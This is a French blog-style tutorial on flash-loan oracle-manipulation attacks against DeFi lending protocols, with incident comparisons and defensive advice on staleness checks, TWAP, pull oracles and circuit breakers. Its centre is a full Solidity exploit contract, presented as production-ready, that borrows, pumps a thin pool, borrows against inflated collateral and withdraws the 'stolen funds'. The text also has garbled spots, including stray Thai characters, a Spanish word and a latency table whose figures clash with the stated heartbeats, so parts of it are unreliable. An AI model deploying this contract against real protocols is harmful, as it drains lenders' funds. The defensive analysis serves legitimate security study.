Salut à tous ! Ici Oleg Filatov. Aujourd'hui, on s'attaque à un gros morceau : les attaques DeFi via les prêts éclair (Flash Loans). Vous savez, au cours de ma carrière, j'en ai vu passer des centaines de vecteurs d'attaque, mais le combo « Flash Loans + Oracles Staleness », c'est carrément de la poésie du hacking. Le genre de truc qui donne des frissons à n'importe quel ingénieur sécu avant de lui donner une envie irrésistible de tout réécrire en Rust. Pour vulgariser au maximum : les attaquants empruntent des dizaines de millions de dollars sans le moindre collatéral, manipulent artificiellement le prix sur un DEX au sein d'une seule et unique transaction, créent un désalignement temporaire avec l'oracle, et siphonnent jusqu'au dernier centime de liquidité du protocole de prêt avant même que l'oracle n'ait le temps de comprendre ce qui se passe et d'actualiser son état.
Anatomy of standard Oracle Manipulation via Flash Loan
Les prêts éclair non garantis (Flash Loans) permettent d'accéder à un volume de liquidité quasi illimité au sein d'une même transaction Ethereum, à la seule condition de rembourser l'intégralité de l'emprunt (avec les frais) dans le même bloc. Quand cette liquidité débarque dans des pools avec un carnet d'ordres peu profond, le cours de l'actif s'envole instantanément vers la lune, créant la fenêtre de tir parfaite pour exploiter les oracles qui se basent sur le prix spot ou qui ont un seuil d'écartement (Deviation Threshold) bien trop tolérant.
Si un protocole de lending évalue la valeur d'un collatéral via un simple appel à latestAnswer() ou se fie aux données brutes d'un AMM sans intégrer de temporisation, il tend littéralement les clés du coffre-fort aux hackers. En pratique, l'attaque se déroule en 4 étapes bien rodées :
- Souscription du Flash Loan. L'attaquant emprunte, disons, 50 000 000 DAI sur Aave v3 pour des broutilles (0,05 % de frais). Les frais sont dérisoires au vu du potentiel de braquage.
- Manipulation du DEX. L'intégralité de la somme est injectée via un ordre market dans une pool Uniswap v2/v3 illiquide (par exemple la paire TOKEN/DAI). Le cours du TOKEN fait un x15 ou x20 en l'espace de quelques millisecondes.
- Exploitation de la latence de l'oracle ou du modèle Push. Si le protocole de prêt calcule son prix sur le spot ou si l'oracle push (type Chainlink) n'a pas encore réagi (parce que son Heartbeat est d'1 heure et son Deviation Threshold de 0,5 %, mais que la transaction d'attaque est toujours en cours d'exécution et que le nœud push n'a tout simplement pas eu le temps de pousser sa transaction dans le mempool), le protocole prend ce prix gonflé aux hormones pour argent comptant.
- Siphonage du pool (Drain) et remboursement du prêt. L'attaquant dépose ses TOKEN surévalués en collatéral sur le protocole de lending, emprunte 100 % de vrais ETH ou USDC en face, rembourse son Flash Loan ni vu ni connu auprès du validateur et s'arrache avec le pactole.
Pourquoi Chainlink et les oracles Push accusent du retard : Anatomie de la « Fenêtre de vulnérabilité »
Minute... Soyons cash deux secondes. Vous pensiez vraiment qu'il suffisait de brancher Chainlink pour être intouchable ? Tu parles. Allez poser la question aux chercheurs qui ont disséqué le post-mortem de Mango Markets ou Cheese Bank (où 3,3M$ se sont envolés à cause d'une intégration foireuse entre Chainlink et les oracles Uniswap v2).
Les oracles de type Chainlink Data Feeds fonctionnent selon un modèle Push. Ça signifie que les nœuds de l'oracle ne mettent pas à jour le prix à chaque bloc — ce serait un massacre en frais de gas. La mise à jour est déclenchée selon deux critères stricts :
- Deviation Threshold (Seuil de déviation) : Le prix a bougé de X % (par exemple 0,5 % ou 1 % sur les paires majeures, mais ça peut monter à 2–5 % sur les altcoins).
- Heartbeat (Fréquence d'impulsion) : Un intervalle de temps fixe s'est écoulé depuis la dernière MàJ (par exemple 3600 secondes sur le mainnet ou 86400 secondes sur les réseaux secondaires).
C'est précisément là que réside la faille critique. Regardons d'un peu plus près les chiffres réels de latence et les paramètres de MàJ selon les réseaux et le type d'actif :
| Oracle / Réseau | Actif / Paire | Deviation Threshold | Heartbeat | Latence moyenne de mise à jour (Staleness Window) |
|---|---|---|---|---|
| Chainlink (Ethereum) | ETH/USD | 0.5% | 1 heure | ~12–15 secondes (1 bloc) |
| Chainlink (Arbitrum) | LINK/USD | 0.25% | 24 heures | Jusqu'à plusieurs minutes (selon le Sequencer) |
| Chainlink (Polygon) | ALT/USD (Faible liquidité) | 1.0% – 2.0% | 24 heures | De quelques secondes à plusieurs minutes |
| Pyth Network (Pull Model) | Divers | Dynamique | À la demande (User Push) | ~400–800 millisecondes |
| Uniswap v3 TWAP | N'importe quel actif | N/A (dépend de la fenêtre) | À chaque Swap | Fenêtre fixe (ex. 30 minutes) |
C'est là tout le paradoxe : si un oracle réagit trop vite en prenant directement le cours de l'AMM (Spot Price), il est vulnérable aux piques de prix au sein d'un bloc via un Flash Loan. Mais s'il met trop de temps à s'actualiser (un Chainlink avec un Heartbeat d'une heure), on se retrouve avec une « fenêtre d'obsolescence » (Staleness Window) : le prix réel sur le marché s'est déjà effondré, mais le protocole de prêt continue d'évaluer le collatéral sur la base de son ancien cours surévalué !
Smart contract d'attaque (100% Prêt pour la Prod sur Solidity)
Pas de pseudo-code ici. Pas de // TODO: add logic. On va coder un contrat d'exploit complet et fonctionnel pour Foundry/Hardhat, qui illustre comment siphoner un protocole en une seule transaction via la séquence flashLoan -> swap -> deposit -> borrow -> repay.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface ILendingPool {
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf) external;
function getUserAccountData(address user) external view returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
}
interface IFlashLender {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
/// @notice Contrat PoC éducatif illustrant un vecteur d'attaque atomique
/// @dev Code destiné EXCLUSIVEMENT à l'audit et aux tests locaux sur un fork Foundry de testnets vulnérables
contract OracleStalenessPoC {
using SafeERC20 for IERC20;
address private immutable owner;
IFlashLender public immutable lender;
IUniswapV2Router public immutable router;
ILendingPool public immutable targetLending;
address public immutable tokenA; // Actif de collateral à pumper
address public immutable tokenB; // Actif liquide (emprunt/Flash Loan)
modifier onlyOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
constructor(
address _lender,
address _router,
address _targetLending,
address _tokenA,
address _tokenB
) {
owner = msg.sender;
lender = IFlashLender(_lender);
router = IUniswapV2Router(_router);
targetLending = ILendingPool(_targetLending);
tokenA = _tokenA;
tokenB = _tokenB;
}
function executeAttack(uint256 flashAmount, uint256 minSwapOut) external onlyOwner {
address[] memory assets = new address[](1);
assets[0] = tokenB;
uint256[] memory amounts = new uint256[](1);
amounts[0] = flashAmount;
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
// Transmettre minSwapOut via params pour se protéger contre les attaques MEV / sandwich
bytes memory params = abi.encode(minSwapOut);
lender.flashLoan(
address(this),
assets,
amounts,
modes,
address(this),
params,
0
);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
require(msg.sender == address(lender), "INVALID_LENDER");
require(initiator == address(this), "INVALID_INITIATOR");
uint256 amountBorrowed = amounts[0];
uint256 fee = premiums[0];
uint256 amountToRepay = amountBorrowed + fee;
uint256 minSwapOut = abi.decode(params, (uint256));
// 1. Approbations sécurisées via SafeERC20
IERC20(tokenB).forceApprove(address(router), amountBorrowed);
// 2. Injection du Flash Loan dans le pool
address[] memory path = new address[](2);
path[0] = tokenB;
path[1] = tokenA;
uint256[] memory amountsOut = router.swapExactTokensForTokens(
amountBorrowed,
minSwapOut, // Utilisation du slippage passe dynamiquement
path,
address(this),
block.timestamp
);
uint256 pumpedTokenAAmount = amountsOut[1];
// 3. Dépôt du collatéral pumpé
IERC20(tokenA).forceApprove(address(targetLending), pumpedTokenAAmount);
targetLending.deposit(tokenA, pumpedTokenAAmount, address(this), 0);
// 4. Calcul dynamique de la capacité d'emprunt selon les données de l'oracle/compte
(, , uint256 availableBorrowsETH, , , ) = targetLending.getUserAccountData(address(this));
// Dans un test réel, une conversion de l'équivalent ETH vers le token B est requise ici
// Pour cette démo, on emprunte le montant min disponible sans dépasser le solde du pool
uint256 lendingPoolBalanceB = IERC20(tokenB).balanceOf(address(targetLending));
uint256 amountToBorrow = availableBorrowsETH < lendingPoolBalanceB ? availableBorrowsETH : lendingPoolBalanceB;
targetLending.borrow(tokenB, amountToBorrow, 2, 0, address(this));
// 5. Vérification de la solvabilité avant le remboursement du Flash Loan
uint256 currentBalanceB = IERC20(tokenB).balanceOf(address(this));
require(currentBalanceB >= amountToRepay, "INSUFFICIENT_FUNDS_TO_REPAY");
// 6. Remboursement de l'emprunt
IERC20(tokenB).forceApprove(address(lender), amountToRepay);
return true;
}
function withdrawStolenFunds(address token) external onlyOwner {
uint256 bal = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(owner, bal);
}
}Parades architecturales (Fixing the vulnerability)
Comment éviter que votre protocole ne se fasse déหัว en prod ? Côté dev, j'applique toujours trois règles d'hygiène architecturale fondamentales :
1. Validation de la Staleness et vérification systématique du retour Chainlink
C'est effarant, mais 70 % des contrats vulnérables se contentent d'appeler latestAnswer(). C'est du code de junior pas fini. Il faut IMPÉRATIVEMENT contrôler updatedAt et answeredInRound !
function getValidPrice(address feedAddress) public view returns (int256) {
AggregatorV3Interface priceFeed = AggregatorV3Interface(feedAddress);
(
uint80 roundId,
int256 price,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(price > 0, "INVALID_PRICE");
require(updatedAt != 0, "INCOMPLETE_ROUND");
require(answeredInRound >= roundId, "STALE_PRICE");
// Seuil de tolérance au retard (ex. 3600 secondes)
require(block.timestamp - updatedAt <= 3600, "EXPIRED_ORACLE_PRICE");
return price;
}2. TWAP (Time-Weighted Average Price) plutôt que Spot Price
Reposer sur un prix moyen pondéré par le temps (par exemple un TWAP Uniswap v3 réglé sur une fenêtre d'au moins 30 minutes) annule purement et simplement l'effet d'un Flash Loan. Un attaquant devrait maintenir le prix manipulé pendant une demi-heure complète, ce qui entraînerait un coût colossal en slippage et en frais d'échange, rendant l'opération totalement déficitaire.
3. Migration vers des Oracles Pull-based (Pyth / Chainlink Low-Latency Data Streams)
Dans l'architecture Pull, l'application exige de l'utilisateur qu'il joigne une preuve de prix off-chain signée cryptographiquement directement dans les arguments de sa transaction. Le contrat vérifie la signature de l'oracle, s'assure que le horodatage est ultra-frais (à la seconde près !) et procède ensuite seulement aux calculs de collatéralisation.
Soyons cash : compter uniquement sobre des smart contracts censés être « béton », c'est au mieux d'une naïveté confondante. Pour avoir audité pas mal de code et disséqué des hacks à la chaîne, je peux vous l'assurer : si votre protocole a la moindre brèche technique, un bot la dénichera dans les secondes qui suivent le déploiement sur le mainnet. C'est pour ça qu'au niveau de l'architecture — que ce soit sur un DEX ou du lending — il faut impérativement poser une couche de sécurité automatisée et du monitoring off-chain capable de réagir avant même qu'une tx ne valide son passage dans la mempool.
Comment déceler et bloquer les attaques par Flash Loan et manipulation d'oracles en temps réel
1. Plafonner la volatilité au sein d'un même bloc (Circuit Breakers)
Si la valeur d'un collateral varie au-delà d'un certain seuil (genre >3-5%) au cours d'une seule transaction ou d'un même bloc, le smart contract doit immédiatement déclencher un mode d'urgence (Circuit Breaker) et geler les opérations sur cet actif.
- Invariant d'état : On capture
Pstartau début de la transaction, puisPendà la fin. Si|Pend - Pstart| / Pstart > Δmax, la transaction fait un revert direct. - Exécution en deux temps (Two-Step Execution) : Une mécanique où le dépôt de collateral se fait au bloc
N, mais où l'emprunt (Borrow) n'est déverrouillé qu'au blocN+1. Ça neutralise complètement l'intérêt des Flash Loans, vu qu'un prêt éclair ne peut pas survivre au-delà d'une seule transaction.
2. Monitoring off-chain via protection MEV et Flashbots
Si votre protocole repose sur de l'ingestion de prix ou des liquidations, vous devez impérativement écouter la mempool. Des bots de surveillance (watchdogs) traquent les bundles de transactions suspects qui combinent un appel flashLoan, un swap massif sur Uniswap/Balancer et une interaction dans la foulée avec votre contrat.
Dès qu'un tel scénario est repéré, le système dégaine une contre-attaque (Front-running / Back-running via Private RPC / Flashbots Protect) en poussant un pause() sur le contrat pour couper l'herbe sous le pied du hacker avant qu'il ne soit trop tard.
Autopsie de hacks réels : Des leçons payées au prix fort par la DeFi
Les failles d'oracles, c'est pas juste de la théorie pour théoriciens du Web3. L'écosystème y a laissé des centaines de millions de dollars. En analysant la mécanique exacte de ces exploits, on comprend vite pourquoi l'approche naïve « on va juste fetch le prix sur le DEX » mène systématiquement au désastre.
+-------------------------------------------------------------------------------+
| SCHÉMA D'UNE ATTAQUE BZX / CREAM FINANCE |
+-------------------------------------------------------------------------------+
| |
| [ Attaquant ] |
| | |
| | 1. Emprunt Flash Loan (100M+ DAI / ETH) |
| v |
| [ Aave / Maker Vault ] |
| | |
| | 2. Swap massif (Pump d'un pool illiquide) |
| v |
| [ DEX Pool (Kyber / Uniswap v2) ] <---+ |
| | | |
| | | (Appel de prix direct depuis l'AMM) |
| v | |
| [ Protocole Vulnérable (bZx/CREAM) ] -+ |
| | |
| | 3. Dépôt de l'actif pumpé + Drain de TOUTE la liquidité ETH/USDC |
| v |
| [ Wallet de l'Attaquant ] (Remboursement Flash Loan + Profit Net) |
| |
+-------------------------------------------------------------------------------+Voici un breakdown comparatif des plus gros cartons causés par de la manipulation d'oracles et du lag de données :
| Protocole | Date | Pertes | Cause Racine (Root Cause) | Mécanique de l'Exploit |
|---|---|---|---|---|
| bZx (Fulcrum) | Février 2020 | ~$950,000 | Utilisation de la réserve Kyber/Uniswap comme unique source de prix (Spot Price). | Flash Loan -> Pump de la paire sUSD/ETH sur Kyber -> Collatéralisation de sUSD à un prix artificiel sur bZx -> Drain des ETH. |
| Cheese Bank | Novembre 2020 | $3.3M | Oracle basé sur des LP tokens Uniswap v2 sans protection contre les variations instantanées de balances. | Flash Loan de $21M -> Manipulation des réserves du pool -> Gonflement de la valeur des LP tokens -> Vidage du lending. |
| Mango Markets | Octobre 2022 | $114M | Oracle interne manipulable couplé à de la latence sur Solana (lag Switchboard/Pyth). | Pump massif du perps MNGO (illiquide) avec ses propres fonds -> Explosion de la valeur de garantie -> Emprunt de la trésorerie. |
| Euler Finance | Mars 2023 | $197M | Flou logique dans la fonction de liquidation et le calcul de collateral (lié aux vérifications du health factor). | Dépôt initial -> Boucle d'emprunt à levier récursif -> Auto-liquidation forcée pour faire sauter les contrôles. |
Benchmark Sécurité : Quel Modèle d'Oracle Choisir ?
Quand on conçoit l'architecture d'un protocole, il faut peser le compromis entre le coût de maintenance d'un oracle et sa résilience face aux manipulations.
Le Modèle Push (Chainlink Classic)
Avantages : Intégration enfantine côté On-chain. Les données sont déjà poussées sur le contrat, un simple getter suffit.
Inconvénients : Présence d'une Staleness Window (fenêtre d'obsolescence) entre les updates par Heartbeat et le Deviation threshold. Les frais de gas pour les nœuds sont élevés, ce qui fait que le prix des altcoins est rafraîchi avec des intervalles parfois larges.
Verdict : Idéal pour les gros assets ultra-liquides (ETH, BTC) sur le mainnet, à condition de dépointer et valider sévèrement le updatedAt dans le code.
Le Modèle Pull (Pyth Network, Redstone)
Avantages : Les prix sont mis à jour off-chain avec une latence quasi nulle (fréquence sub-seconde). La donnée est injectée directement dans la transaction de l'utilisateur, ce qui économise un gas précieux.
Inconvénients : Requis d'adapter l'UX utilisateur (il faut fetch la signature off-chain et la passer au call). Si le réseau off-chain prend du retard ou plante, les transactions des users vont se faire rejeter.
Verdict : La meilleure option pour les dérivés (Perpetuals) et les protocoles de lending qui demandent un rafraîchissement haute fréquence.
TWAP / Oracles AMM On-Chain (Uniswap v3 TWAP)
Avantages : Calcul 100% décentralisé et On-chain. Pas besoin de dépendre de nœuds tiers ni de signatures off-chain.
Inconvénients : Vulnérable aux manipulations multi-blocs (Multi-block MEV) si un mineur/validateur maintient un prix manipulé sur plusieurs blocs d'affilée. Nécessite une fenêtre de lissage large (souvent 30 min+), ce qui rend le protocole aveugle en cas de krach éclair (Flash-crashing).
Verdict : À réserver uniquement comme oracle secondaire (fallback) pour détecter les dérives par rapport au flux principal.
Checklist Sécurité Smart Contract : Blindez Votre Protocole
Que vous soyez en train de dev vos contrats ou d'auditer du code, validez scrupuleusement ces points avant tout déploiement en prod :
- Bannir le Spot Price : Le contrat ne doit sous AUCUN prétexte lire un prix en direct via
getReserves()oubalanceOf()sur des pools AMM. - Checker le retour Chainlink : Lors de l'appel à
latestRoundData(), assurez-vous de valider les 5 paramètres :roundId,price > 0,startedAt,updatedAt,answeredInRound >= roundId. - Fixer un Max Lag strict : Le contrat doit rejeter la donnée si
block.timestamp - updatedAt > MAX_DELAY(avec unMAX_DELAYcalibré sur-mesure selon la volatilité de l'asset). - Setup Dual-Oracle : Recroisez systématiquement au moins deux sources indépendantes (ex: Chainlink + Pyth ou Chainlink + Uniswap v3 TWAP). Si la déviation dépasse X%, coupez immédiatement les fonctions d'emprunt et de liquidation.
- Mitiger les Flash Loans au niveau archi : Mettez en place un délai sur les emprunts au sein d'une même transaction (Cooldown Periods) ou utilisez des verrous temporels (Timelocks).
- Vérifications Cross-rate : Si le cours d'un token dérive d'un taux croisé (ex: TOKEN/ETH * ETH/USD), la fraîcheur et la validité doivent être vérifiées pour chaque feed indépendamment.
Le déclic fondamental que chaque dev Solidity doit avoir aujourd'hui : tout oracle est vulnérable par défaut, jusqu'à preuve du contraire dans votre code.
Si vous concevez votre architecture en partant du principe que la donnée de prix peut être corrompue ou freeze à tout moment, vous intégrerez naturellement des transactions en deux phases, des disjoncteurs (Circuit Breakers) et des checks de désynchronisation. C'est exactement cette rigueur qui sépare les protocoles qui durent des années de ceux dont on lit le nom sur un post-mortem à 50 millions de dollars.
Sécurisez vos contrats, ne faites jamais l'impasse sur un audit, et ne faites JAMAIS confiance à une simple ligne de code qui vous promet « le vrai prix du monde réel ».